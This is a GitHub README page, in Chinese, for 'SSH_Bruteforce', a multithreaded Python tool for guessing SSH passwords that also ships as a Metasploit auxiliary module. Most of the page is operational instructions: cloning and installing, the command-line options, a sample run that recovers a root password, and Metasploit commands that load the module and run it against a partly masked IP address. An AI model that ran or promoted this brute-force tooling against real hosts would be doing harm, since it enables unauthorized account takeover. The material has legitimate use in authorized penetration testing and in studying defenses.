Skip to content

基于Python的SSH多线程暴力破解脚本和Metasploit模块双版本

Notifications You must be signed in to change notification settings

HZzz2/SSH_Bruteforce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

29 Commits
 
 
 
 
 
 

Repository files navigation

SSH_Bruteforce

运行方式:终端下运行脚本,或在MSF中作为模块运行

获取项目

git clone https://github.com/HZzz2/SSH_Bruteforce

进入目录和安装第三方库

cd SSH_Bruteforce
pip install paramiko

获取帮助

python SSH_Bruteforce.py -h
usage: SSH_Bruteforce.py [-h] -H HOST -u USER -f FILE -t THREAD

exmple: python3 SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 10

optional arguments:

  -h, --help            show this help message and exit

  -H HOST, --host HOST  Hostname/IP       要爆破的主机IP

  -u USER, --user USER  Username          SSH用户名

  -f FILE, --file FILE  Password file     密码字典

  -t THREAD, --thread THREAD              线程数
    Thread number

1.Python脚本运行

执行脚本

python SSH_Bruteforce.py -H 192.168.1.180 -u root -f password.txt -t 9
[-] 123221 is not correct
[-] 442342 is not correct
[-] 842482 is not correct
[-] 524253 is not correct
[-] 224224 is not correct
[-] 724731 is not correct
[+] 123456 is correct
SSH PassWord:123456

出现paramiko ssh banner错误不影响程序运行(线程过高的原因,推荐不高于10线程)

2.MSF模块运行

将MSF模块复制到根目录下

cp MyModules / -r

给模块添加执行权限

└─# chmod 755 /MyModules/modules/auxiliary/scanner/ssh/MSF_SSH_Bruteforce.py

启动MSF

msfdb run

加载模块目录并使用

msf6 > loadpath /MyModules/modules 
msf6 > use auxiliary/scanner/ssh/MSF_SSH_Bruteforce 

设置相关参数

image

msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set rhosts 7.XX.XX.18
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set user_name rXXt
msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > set file /usr/share/commix/src/txt/passwords_john.txt

运行模块

msf6 auxiliary(scanner/ssh/MSF_SSH_Bruteforce) > exploit 

image

About

基于Python的SSH多线程暴力破解脚本和Metasploit模块双版本

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages